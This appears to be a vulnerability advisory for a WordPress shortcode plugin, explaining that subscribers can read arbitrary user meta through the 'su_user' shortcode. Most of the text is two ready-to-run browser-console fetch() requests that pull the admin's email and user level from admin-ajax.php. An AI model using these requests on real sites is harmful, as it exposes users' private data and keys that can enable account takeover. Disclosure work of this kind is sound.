The plugin does not validate the user meta to be retrieved via the user shortcode, allowing any authenticated users such as subscriber to retrieve arbitrary user meta (except the user_pass), such as the user email and activation key by default.
Run one of the below commands in the developer console of the web browser while being on the blog as a subscriber
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": "action=parse-media-shortcode&shortcode=[su_user field='user_email' user_id='1']",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));
This will display the email of the admin
fetch("/wp-admin/admin-ajax.php", {
"headers": {
"content-type": "application/x-www-form-urlencoded",
},
"method": "POST",
"body": "action=parse-media-shortcode&shortcode=[su_user field='wp_user_level' user_id='1']",
"credentials": "include"
}).then(response => response.text())
.then(data => console.log(data));